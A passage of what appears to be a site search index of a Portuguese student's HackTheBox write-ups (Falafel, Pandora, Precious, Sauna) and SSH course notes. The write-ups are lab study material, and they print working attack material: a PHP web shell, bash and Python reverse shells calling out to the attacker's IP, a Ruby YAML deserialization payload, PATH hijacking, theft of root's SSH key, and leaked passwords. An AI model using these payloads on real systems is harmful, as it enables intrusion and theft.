conseguimos enviar um arquivo, que aparentemente agora está na máquina alvo com a extensão .php. E onde está? Bem, no resultado o comando wget, vemos que antes de fazer o download do arquivo, fez um cd para uma pasta. E sabemos ainda que existe uma rota uploads... Ao juntar tudo, podemos tentar ir para a seguinte url(no meu caso): http://10.10.10.73/uploads/0909-2054_bd1a63d419ed6bf6/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php?cmd=whoami whoami web shell Temos Execução de código remoto!","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 2.3. RCE","id":"102","title":"2.3. RCE"},"103":{"body":"A forma mais fácil de ter um reverse shell sem ter muitos problemas com caracteres especiais e assim é partilhar um ficheiro com o código do reverse shell lá dentro, para depois fazer um curl e pipeá-lo com um bash (sim pipeá-lo, neste blog, este verbo existe xD) Criei então um ficheiro com o nome rev.html contendo o seguinte código: #!/bin/bash bash -i >& /dev/tcp/10.10.14.17/443 0>&1 Partilhe então um servidor http com este ficheiro, para que através do RCE, poder dar um curl ao ficheiro, e pipeá-lo com bash sudo python3 -m http.server 80 # On one terminal\nsudo nc -lvnp 443 # On another one http://10.10.10.73/uploads/0909-2054_bd1a63d419ed6bf6/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php?cmd=curl%20http://10.10.14.17/rev.html|bash","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 2.3.1. Reverse Shell","id":"103","title":"2.3.1. Reverse Shell"},"104":{"body":"Já dentro da máquina, ao vasculhar os ficheiros, pode-se encontrar credenciais em /var/www/html/connection.php (remote) www-data@falafel:/var/www/html$ cat connection.php\n Estas credenciais server para fazer login ao MySQL, mas se reutilizar-mos as credenciais para fazer login por ssh, vemos que as credenciais são válidas!","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3. PrivEsc","id":"104","title":"3. PrivEsc"},"105":{"body":"Esta máquina é um CaptureTheFlag LOL... O próximo passo é completamente irrealista, mas não deixa de ser interessante. Esta máquina não tem mais vulnerabilidades. Ok, então onde estão as credenciais do usuário \"yossi\"?! Estão no ecrã... com o commando \"w\" podemos ver que o yossi está actualmente logado fisicamente na máquina w\n#> 22:31:32 up 10:23, 2 users, load average: 0.00, 0.00, 0.00\n#> USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\n#> yossi tty1 12:08 10:22m 0.06s 0.06s -bash\n#> moshe pts/1 10.10.14.17 22:06 0.00s 0.06s 0.00s w O usuário com o qual estamos neste momento (moshe) está no grupo \"video\". Os usuário deste grupo pode ver o que está a ser transmitido para o ecrã. E para tirar uma captura de ecrã sem nenhum recurso adicional, pode-se ir à fonte mesmo. Isto é, capturar o que está em /dev/fb0 com um simples cat. Para ler este arquivo (que vem em formato RAW), temos de saber as dimenções da tela, pois este formato não diz nada sobre dimenções, apenas escreve todos os dados numa linha só e \"tá feito\". As dimenções actuais do ecrã estão sempre definidas em /sy/class/graphics/fb0/virtual_size cat /dev/fb0 > /tmp/screen.raw\ncat /sys/class/graphics/fb0/virtual_size\n#> 1176,885 Recupere a captura de ecrã para o kali nc 10.10.14.17 443 < /tmp/screen.raw # Target Machine\nnc -lvnp 443 > screen.raw # kali Machine Abrir o ficheiro com ajuda do GIMP, definido manualmente que este ficheiro é um ficheiro RAW com 1176,885 de dimenções... opennig image raw format with GIMP Select size of raw image Password yossi Entre agora por ssh com o usuário yossi e a sua credencial (que de passagem só se vê porque o yossi errou primeiro ao introduzi-la e por \"grande sorte\" ainda está a vista na tela looooool)","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.1. Group video","id":"105","title":"3.1. Group video"},"106":{"body":"for group in $(groups); do echo -e \"\\n\\n\\n[*] Archive with group $group permition:\\n\"; find / -group $group 2>/dev/null; done Este commando permite-nos enumerar todos os ficheiro no qual pertence a cada grupo no qual está o usuário. E assim, vemos que o usuário yossio em que estamos logados, tem permissões através do grupo \"disk\" de leitura e escritura sobre /dev/sda1 e muito mais... Este /dev/sda1 é muito simplesmente o disco rígido na qual está instalado o prórpio sistema operativo. Mas não dá para abrir assim... fdisk -l\n#> Disk /dev/sda: 8 GiB, 8589934592 bytes, 16777216 sectors\n#> Units: sectors of 1 * 512 = 512 bytes\n#> Sector size (logical/physical): 512 bytes / 512 bytes\n#> I/O size (minimum/optimal): 512 bytes / 512 bytes\n#> Disklabel type: dos\n#> Disk identifier: 0x01590ad6\n#>\n#> Device Boot Start End Sectors Size Id Type\n#> /dev/sda1 * 2048 14680063 14678016 7G 83 Linux\n#> /dev/sda2 14682110 16775167 2093058 1022M 5 Extended\n#> /dev/sda5 14682112 16775167 2093056 1022M 82 Linux swap / Solaris ll /dev/sda1\n#> brw-rw---- 1 root disk 8, 1 Sep 9 12:08 /dev/sda1","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.2. Group disk","id":"106","title":"3.2. Group disk"},"107":{"body":"Com a ajuda da ferramente debugfs (ext2/ext3/ext4 file system debugger). Podemos ver ou manipular uma partição, um disco ou o seu conteúdo. Podemos assim facilemente ver a flag root.txt, mas a nós o que nos interessa é vir a ser root! Por sorte, em /root/.ssh existem keys para entrar por ssh, já autorizadas... nem percisamos de fazer mais nada. É só copiar e usar a id_rsa: debugfs /dev/sda1\ndebugfs: cd /root/.ssh\ndebugfs: cat id_rsa # copy the content...\n# Exit the debugfs cd /tmp\nnano id_rsa # paste the content...\nchmod 600 id_rsa\nssh -i id_rsa root@localhost cat /home/moshe/user.txt\n#> c866575ed5999e1a878b1494fcb1f9d3\ncat /root/root.txt\n#> 23b79200448c62ffd6f8f2091c001fa1","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.3. debugfs","id":"107","title":"3.3. debugfs"},"108":{"body":"Sejam bem-vindos! Neste espaço, irei partilhar alguns dos trabalhos que realizarei durante o meu curso de Cibersegurança, em português, como é habitual. Espero que possam acompanhar e aprender comigo. Sylvain \"JavaliMZ\" Júlio","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Trabalhos do curso de Cibersegurança","id":"108","title":"Trabalhos do curso de Cibersegurança"},"109":{"body":"T02 - Acesso Remoto (SSH) 1. Instalação do OpenSSH do cliente 2. Instalação do OpenSSH do lado do servidor 3. Ligação entre o cliente e o servidor 4. Execução de comandos no servidor 5. Criação de um utilizador no servidor 6. Acesso ao servidor através do utilizador criado 7. Acesso de utilizadores guest por parte dos camaradas de curso 8. Mudar o porto lógico de acesso do servidor 9. Verificação do acesso ao servidor SSH 10. Conclusão Para este trabalho, iremos usar o Arch(Linux) por WSL2 do Windows. Para instalar o OpenSSH, basta executar o seguinte comando: yay openssh # O Yay é um AUR Helper. É necessário selecionar a opção respetiva do OpenSSH para instalá-lo. Neste momento, já se pode usar o comando ssh enquanto cliente para nos conectarmos a um servidor SSH, sem mais configurações.","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Acesso Remoto (SSH) » 1. Instalação do OpenSSH do cliente","id":"109","title":"1. Instalação do OpenSSH do cliente"},"11":{"body":"Web Server potenciais users A passear pelo site, não se vê nada de interessante a não ser a página about.html que poderá ter potenciais usuários de uma eventual empresa (Já que é um Active directory ou um Domain Controller) Numa empresa, os usuários costumam ser identificados por primeira letra dos primeiros nomes, e ultimo nome completo. junto, ou separado por um ponto. Isto é extremamente comum... Por isso, vamos extrair esse potenciais usuários para um ficheiro, e daí fazer um arquivo com usernames. Web Server get users cat users-full-name\n#> Fergus Smith\n#> Hugo Bear\n#> Steven Kerb\n#> Shaun Coins\n#> Bowie Taylor\n#> Sophie Driver cat users-full-name | tr '[A-Z]' '[a-z]'\n#> fergus smith\n#> hugo bear\n#> steven kerb\n#> shaun coins\n#> bowie taylor\n#> sophie driver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) $2}'\n#> fsmith\n#> hbear\n#> skerb\n#> scoins\n#> btaylor\n#> sdriver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) \".\" $2}'\n#> f.smith\n#> h.bear\n#> s.kerb\n#> s.coins\n#> b.taylor\n#> s.driver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) $2}' > users cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) \".\" $2}' >> users Temos agora uma lista de usuários potenciais para efectuar a próxima tentativa de attack. AS-REP Roasting Attack!.","breadcrumbs":"Máquinas Windows » HTB-Windows-Easy-Sauna » 2. Web Server","id":"11","title":"2. Web Server"},"110":{"body":"O OpenSSH no sistema RockyOS vem instalado por defeito. Inclusive, o servidor inicia automaticamente com o sistema. No entanto, caso o software não estiver instalado, basta executar o seguinte comando: sudo yum install openssh Além de o instalar, será necessário ativar o serviço do OpenSSH. Para isso, basta executar o seguinte comando: systemctl start sshd # Inicia o serviço do OpenSSH\nsystemctl enable sshd # Indica ao sistema para iniciar o serviço do OpenSSH sempre que o sistema iniciar","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Acesso Remoto (SSH) » 2. Instalação do OpenSSH do lado do servidor","id":"110","title":"2. Instalação do OpenSSH do lado do servidor"},"111":{"body":"Por fim, para ligar o cliente ao servidor, basta executar o seguinte comando: # Do lado do cliente (Arch)\nssh javali@192.168.56.101 # ssh
\" . shell_exec($_REQUEST['cmd']) . \"\";\n?> # Para diretamente ter o reverse shell:\n& /dev/tcp/10.10.14.230/443 0>&1'\");?> # Executar o nc em modo de escuta para receber o shell:\nkali@kali: > nc -lvnp 443 # Em outra consola, executar o ficheiro que \"uploadamos\" (Eu escolhi chamar o ficheiro de shell.php...)\nkali@kali: > curl http://localhost/pandora_console/images/shell.php","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 3.6. RCE com usuário matt","id":"86","title":"3.6. RCE com usuário matt"},"87":{"body":"script /dev/null -c bash\nexport TERM=xterm\nexport SHELL=bash # Ctrl + Z\nstty raw -echo; fg\nreset\nstty rows 40 columns 170 # Tem corresponder ao vosso ecrã (stty -a numa consola do Kali)","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 3.6.1. Estabilizar o Reverse Shell","id":"87","title":"3.6.1. Estabilizar o Reverse Shell"},"88":{"body":"Agora que somos matt, podemos analisar o tal binário pandora_backup tar No meio desses caracteres todos, podemos ver um clienttar -cvf /root/... Este parece ser um simples comando \" tar \" que se colou a uma palavra \"client\" por não haver caracteres ASCII pelo meio. Significa que, quem fez o binário, aparentemente, usou um simples comando \" tar \" para fazer o backup, mas não usou o caminho completo para chamar a ferramenta. O que isto quer dizer?","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4. Escalada de privilégio","id":"88","title":"4. Escalada de privilégio"},"89":{"body":"Sabemos que o binário pandora_backup usa o tar. Onde se encontra isso? which tar\n# /usr/bin/tar Ok. Mas como é que o computador sabe que está ali o programa? Existe uma variável no shell que indica isso. Chama-se PATH: echo $PATH\n# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin É assim que o computador procura o programa, primeiro procura em \" /usr/local/sbin \", depois em \" /usr/local/bin \", e assim sucessivamente. Todas as pastas estão separadas pelos dois pontos \":\". Mas esta variável é apenas uma variável que o nosso shell actual têm, que facilmente se altera. export PATH=.:$PATH\necho $PATH\n# .:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin Adicionamos um ponto \".\" à primeira pasta onde o computador vai procurar pelo programa. Significa que o computador vai procurar no diretório atual, e só depois nos outros diretórios. Assim, basta criar um executável de nome \" tar \" numa pasta qualquer, e executar o binário pandora*backup a partir da mesma posição, para o linux assumir que o \"**_tar***\" correto é o nosso próprio ficheiro \" tar \". E, já que o binário pandora_backup é SUID, e o seu proprietário é \" root \", significa que podemos escrever o que nos apetecer para que seja executado como \"** root **\". O mais fácil é chamar um bash novo... pathhijacknotwork","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4.1. Path Hijacking","id":"89","title":"4.1. Path Hijacking"},"9":{"body":"Resolução da máquina Sauna\nMáquina Easy (hackthebox.com)\nby JavaliMZ - 15/09/2021 1. Enumeração 1.1. Nmap 2. Web Server 3. AS-REP Roasting Attack 3.1. GetNPUsers.py 3.1.1. Pwn3d! 4. Primeiro pé na máquina 5. BloodHound 6. Escalada de Privilégios Como sempre, para qualquer PenTest, precisamos saber qual é o alvo. E o primeiro passo para isso é enumerar as portas da máquina! Uma das melhores e mais conhecidas ferramentas para enumerar as portas de uma máquina ou conjunte de máquina é o NMAP.","breadcrumbs":"Máquinas Windows » HTB-Windows-Easy-Sauna » 1. Enumeração","id":"9","title":"1. Enumeração"},"90":{"body":"Sinceramente não sei, o que sei é que pelo ssh funcionou nesta máquina... Quando vi que não funcionou, procurei outra solução. criei uma chave id_rsa só para ter melhor conexão, conectei-me via SSH e o mesmo exploit funcionou... OK. Mistérios do Hacking! ssh-keygen\ncd /home/matt/.ssh\ncat id_rsa.pub > authorized_keys\ncat id_rsa\n# Copiar o conteúdo e colar num novo ficheiro no nosso kali\nkali@kali: > nano id_rsa\nkali@kali: > # Colar e gravar\nkali@kali: > chmod 600 id_rsa\nkali@kali: > ssh matt@10.10.11.136 -i id_rsa E agora, exatamente da mesma posição, alterando primeiro a variável PATH, optemos uma shell root root Agora já somos ROOT! Só falta as flags... Obrigador por lerem o writeup! Até à próxima Criadores da máquina: TheCyberGeek e dmw0ng","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4.1.1. Não funcionou! Porquê?","id":"90","title":"4.1.1. Não funcionou! Porquê?"},"91":{"body":"Writeup: Precious EASY machine (hackthebox.com) by Sylvain \"JavaliMZ\" Júlio - 30/12/2022 1. Introduction 2. Enumeration 3. Exploit - Remote Code Execution 4. Foothold 5. Privilege Escalation 6. Conclusion This write-up was created for two purposes. Normally, my write-ups are in Portuguese, but this time, I am writing in English because I am in a Cyber Security degree, and I need to complete an assignment for my English class during the 2022 winter break. The assignment was to summarize and explain three good articles about a topic I like, but I didn't know what to choose, so I decided to make the \"Precious\" machine from HTB and read some articles about the machine's vulnerabilities. Additionally, my teacher Maria's goal is to keep us interested and active in English, so I think I am respecting the overall rules =). For this time, I will not be discussing possible ways to find something or explaining different concepts that are not related to the machine, because it is already a lot of work to write and think in English. I will only be talking about the machine and the way to gain Administrator access to the machine. I will try to make analogies to the real world so that my teacher does not get lost. I will do my best.","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 1. Introduction","id":"91","title":"1. Introduction"},"92":{"body":"Like every machine, we need to know how to access it. HTB gives us the IP address, but we don't know anything else. The IP address is like the address of a house, but we need to figure out which doors are open to get in. In a machine, these doors are called \"ports\" (in reference to the ports of ships that allow the arrival of goods from the outside world). There are always 65,535 ports in all machines. It's a lot!! But we don't need to knock on all the ports manually... For that, we have a tool called nmap . First, we need to confirm that we can reach the IP: ping -c 1 10.10.11.189 # PING 10.10.11.189 (10.10.11.189) 56(84) bytes of data. # 64 bytes from 10.10.11.189: icmp_seq=1 ttl=63 time=72.5 ms # --- 10.10.11.189 ping statistics --- # 1 packets transmitted, 1 received, 0% packet loss, time 0ms # rtt min/avg/max/mdev = 72.530/72.530/72.530/0.000 ms We send an ICMP packet, and the target machine sends it back. With the ping command (like ping pong), we know the machine is alive and we can start scanning the ports. We noticed one more thing with the ping command. The result gives us the TTL (Time to Live) which refers to the number of hops that a packet is allowed to make before it is discarded. When a packet travels through the Internet, every time it passes through a router, the router decrements this value by 1. For Windows, TTL starts at 128, and for Linux, TTL starts at 64. We can use this information to approximate the Operating System of the target machine. In this case, it is likely a Linux machine. It is important for future commands on the target machine. Enumeration all ports With the response of the nmap command, we know that on the target machine, we have 2 ports open: port 22 and port 80. Normally, port 22 is for an SSH server and port 80 is for a web server. The SSH server is a remote secure shell, used to connect my command line with the machine when we connect with the right credentials. We don't have any credentials, so we can't do anything here. We just have one more port, the web server. Before we start looking at the website, we can do a more powerful scan, using nmap as well. Enumeration targeted ports This new command gives us more information. The web server redirects us to http://precious.htb/ , but that website doesn't exist. We know the site is on this IP, but the web server wants us to access it through the URL http://precious.htb/ . We can do that by telling our machine that the URL http://precious.htb/ corresponds to the IP of the target machine. For that, we can edit the file /etc/hosts as a root (super user) and add the line: echo \"10.10.11.189\\tprecious.htb\" >> /etc/hosts Now, we can access the website: Website It is a website that converts websites to PDF. We can do some basic testing to get more information about the website. We can try to serve a web server and enter the new URL to see what happens: python -m http.server 80 This is a really simple web server, but it is enough for us. We can enter our URL (http://10.10.14.144/) in the field on the website and see what happens: pdf Download We can see that the website download a PDF file. Visually, it is just a simples PDF. But if we use a tool like exiftool to see the metadata of the PDF, we can see more information... pdf Metadata","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 2. Enumeration","id":"92","title":"2. Enumeration"},"93":{"body":"We can see that the PDF Creator is a tool called pdfkit v0.8.6 . This version is vulnerable and we can get a RCE (Remote Code Execution). We can see more about this vulnerability here . To exploit this vulnerability, it's simple! We just need to add to the URL a parameter called ?user and give a \"space\" but encoded (a space like %20 is the URL code for a space of the space bar). Next, we need to concatenate a bash code (because it is a Linux Machine) with the special symbol ` (a code between 2 of this symbol in bash get execute before the rest of the command outside the symbols) around the code for execute it like if we are in a command line shell. The command we will try is a single ping to our machine to test if we really got remote code execution. The final URL will be: http://10.10.14.144/?name=%20ping -c 1 10.10.14.144 # Set up a listener to capture the ping\nsudo tcpdump -i tun0 icmp We got a ping back! I also create a tiny script in Python to have a fast way to try remote code execution: import requests while True: cmd = input(\"[fAkeSh3ll ~] > \") data = { 'url': f\"http://10.10.14.144/?name=%20`{cmd}`\", } response = requests.post('**http://precious.htb/**', data=data, verify=False) Now, we can try to get a reverse shell. A reverse shell is a type of connection to get a shell on the target machine. But the way we got this is tricky. We need to find a way for the target machine to send its own shell to our machine. It's like trying to enter a house, and we need to find a way for the house to open its own door to give us access... The command that worked on the machine was this: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.144\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")' So, if we want to do that on the Website, we need to send this url: http://10.10.14.144/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.144\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'` The query needs to be that exact and we need to adapt the IP and the port. We also need to set up a listener to capture the shell. Reverse Shell","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 3. Exploit - Remote Code Execution","id":"93","title":"3. Exploit - Remote Code Execution"},"94":{"body":"We are in the machine. But we have low privilege. We need more!! HUAAHAHA!! Digging through the folders and files, we'll find credentials for a service used by the user henry. henry credentials And like 99,9% of people, we can try if the user henry has the same password for is user account. And it works! su henry\n# Q3c1AqGHtoI0aXAYFH","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 4. Foothold","id":"94","title":"4. Foothold"},"95":{"body":"We got a little more privileges. But it is not enough!! WE NEED MORE AGAIN!!!! Sudo permissions The sudo command is a command to execute another command as root privileges. And sudo -l inform us that the user henry can execute /usr/bin/ruby /opt/update_dependencies.rb as root. When we examine the update_dependencies.rb file, we realize that the script use \"YAML.load\" to load that file. That means the file will be deserialized. deserialization is like converting the syntax of the content of the file into object in ruby (in this case). But like in a lot of languages, deserialization can be dangerous... And in this case, we can create our own YAML file to execute a command as root. We can find a good article here but for python, and here in ruby. But the code we will use is here . Code execution as root We just create a file caller test.txt for confirm that the code is working. And it works! We can execute command as root. Now, we need a way to get root shell. They are so many ways, but I like this one: I will change permissions on the /usr/bin/bash program to execute it as the owner of the program. The owner of the program is root. So, if we execute the program, we will get a root shell. The code we will use is: ---\n- !ruby/object:Gem::Installer i: x\n- !ruby/object:Gem::SpecFetcher i: y\n- !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: \"abc\" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: chmod +s /usr/bin/bash method_id: :resolve Now, we just need to execute the sudo command, and the bash program will be altered. And we can execute bash as root with a special flag: sudo /usr/bin/ruby /opt/update_dependencies.rb\nbash -p Root shell","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 5. Privilege Escalation","id":"95","title":"5. Privilege Escalation"},"96":{"body":"This machine was easy to get in, and the privilege escalation was a little more complex. But it was a good machine to learn more about Ruby and YAML. I hope you enjoyed this writeup. Fun fact: the machine is called Precious because it is a reference to the ruby programming language. Both vulnerabilities are related to the ruby language.","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 6. Conclusion","id":"96","title":"6. Conclusion"},"97":{"body":"Resolução da máquina Falafel 1.0.0.1. Máquina HARD (hackthebox.com) 1.0.0.2. by JavaliMZ - 09/09/2021 1. Enumeração 1.1. Nmap 2. WebSite 2.1. Fuzzing the website 2.2. SQLi 2.3. RCE 2.3.1. Reverse Shell 3. PrivEsc 3.1. Group video 3.2. Group disk 3.3. debugfs","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 1. Enumeração","id":"97","title":"1. Enumeração"},"98":{"body":"Na fase de enumeração, a ferramenta nmap tem um lugar imprescindível!! É possível enumerar portas manualmente, com um simples for loop e um echo para o /dev/tcp/
\" . shell_exec($_REQUEST['cmd']) . \"\";\n?> Resumindo: O ficheiro tem obrigatoriamente que terminar por \".png\" O servidor apache interpreta código php O wget da página de upload corta os nomes muito grandes a partir do caractere 236. Posto isso, se renomearmos o nosso ficheiro malicioso por um arquivo com (232 carateres + .php + .png), o nome do arquivo irá ser cortado a partir do 236º caracter e ficará assim: (232 chars + .php) cp shell.php $(msf-pattern_create -l 232).php.png\n# Agora que temos o número exato de caracteres, poderíamos ter chamado o ficheiro com 232 \"A\"... mas na altura não me lembrei e o nome está um pouco agressivo para os olhos! Resultado: http://10.10.14.17/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php.png uploaded web shell Note the path of the file and go to the webshell Ok, conseguimos enviar um arquivo, que aparentemente agora está na máquina alvo com a extensão .php. E onde está? Bem, no resultado o comando wget, vemos que antes de fazer o download do arquivo, fez um cd para uma pasta. E sabemos ainda que existe uma rota uploads... Ao juntar tudo, podemos tentar ir para a seguinte url(no meu caso): http://10.10.10.73/uploads/0909-2054_bd1a63d419ed6bf6/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php?cmd=whoami whoami web shell Temos Execução de código remoto!","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 2.3. RCE","id":"103","title":"2.3. RCE"},"104":{"body":"A forma mais fácil de ter um reverse shell sem ter muitos problemas com caracteres especiais e assim é partilhar um ficheiro com o código do reverse shell lá dentro, para depois fazer um curl e pipeá-lo com um bash (sim pipeá-lo, neste blog, este verbo existe xD) Criei então um ficheiro com o nome rev.html contendo o seguinte código: #!/bin/bash bash -i >& /dev/tcp/10.10.14.17/443 0>&1 Partilhe então um servidor http com este ficheiro, para que através do RCE, poder dar um curl ao ficheiro, e pipeá-lo com bash sudo python3 -m http.server 80 # On one terminal\nsudo nc -lvnp 443 # On another one http://10.10.10.73/uploads/0909-2054_bd1a63d419ed6bf6/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php?cmd=curl%20http://10.10.14.17/rev.html|bash","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 2.3.1. Reverse Shell","id":"104","title":"2.3.1. Reverse Shell"},"105":{"body":"Já dentro da máquina, ao vasculhar os ficheiros, pode-se encontrar credenciais em /var/www/html/connection.php (remote) www-data@falafel:/var/www/html$ cat connection.php\n Estas credenciais server para fazer login ao MySQL, mas se reutilizar-mos as credenciais para fazer login por ssh, vemos que as credenciais são válidas!","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3. PrivEsc","id":"105","title":"3. PrivEsc"},"106":{"body":"Esta máquina é um CaptureTheFlag LOL... O próximo passo é completamente irrealista, mas não deixa de ser interessante. Esta máquina não tem mais vulnerabilidades. Ok, então onde estão as credenciais do usuário \"yossi\"?! Estão no ecrã... com o commando \"w\" podemos ver que o yossi está actualmente logado fisicamente na máquina w\n#> 22:31:32 up 10:23, 2 users, load average: 0.00, 0.00, 0.00\n#> USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\n#> yossi tty1 12:08 10:22m 0.06s 0.06s -bash\n#> moshe pts/1 10.10.14.17 22:06 0.00s 0.06s 0.00s w O usuário com o qual estamos neste momento (moshe) está no grupo \"video\". Os usuário deste grupo pode ver o que está a ser transmitido para o ecrã. E para tirar uma captura de ecrã sem nenhum recurso adicional, pode-se ir à fonte mesmo. Isto é, capturar o que está em /dev/fb0 com um simples cat. Para ler este arquivo (que vem em formato RAW), temos de saber as dimenções da tela, pois este formato não diz nada sobre dimenções, apenas escreve todos os dados numa linha só e \"tá feito\". As dimenções actuais do ecrã estão sempre definidas em /sy/class/graphics/fb0/virtual_size cat /dev/fb0 > /tmp/screen.raw\ncat /sys/class/graphics/fb0/virtual_size\n#> 1176,885 Recupere a captura de ecrã para o kali nc 10.10.14.17 443 < /tmp/screen.raw # Target Machine\nnc -lvnp 443 > screen.raw # kali Machine Abrir o ficheiro com ajuda do GIMP, definido manualmente que este ficheiro é um ficheiro RAW com 1176,885 de dimenções... opennig image raw format with GIMP Select size of raw image Password yossi Entre agora por ssh com o usuário yossi e a sua credencial (que de passagem só se vê porque o yossi errou primeiro ao introduzi-la e por \"grande sorte\" ainda está a vista na tela looooool)","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.1. Group video","id":"106","title":"3.1. Group video"},"107":{"body":"for group in $(groups); do echo -e \"\\n\\n\\n[*] Archive with group $group permition:\\n\"; find / -group $group 2>/dev/null; done Este commando permite-nos enumerar todos os ficheiro no qual pertence a cada grupo no qual está o usuário. E assim, vemos que o usuário yossio em que estamos logados, tem permissões através do grupo \"disk\" de leitura e escritura sobre /dev/sda1 e muito mais... Este /dev/sda1 é muito simplesmente o disco rígido na qual está instalado o prórpio sistema operativo. Mas não dá para abrir assim... fdisk -l\n#> Disk /dev/sda: 8 GiB, 8589934592 bytes, 16777216 sectors\n#> Units: sectors of 1 * 512 = 512 bytes\n#> Sector size (logical/physical): 512 bytes / 512 bytes\n#> I/O size (minimum/optimal): 512 bytes / 512 bytes\n#> Disklabel type: dos\n#> Disk identifier: 0x01590ad6\n#>\n#> Device Boot Start End Sectors Size Id Type\n#> /dev/sda1 * 2048 14680063 14678016 7G 83 Linux\n#> /dev/sda2 14682110 16775167 2093058 1022M 5 Extended\n#> /dev/sda5 14682112 16775167 2093056 1022M 82 Linux swap / Solaris ll /dev/sda1\n#> brw-rw---- 1 root 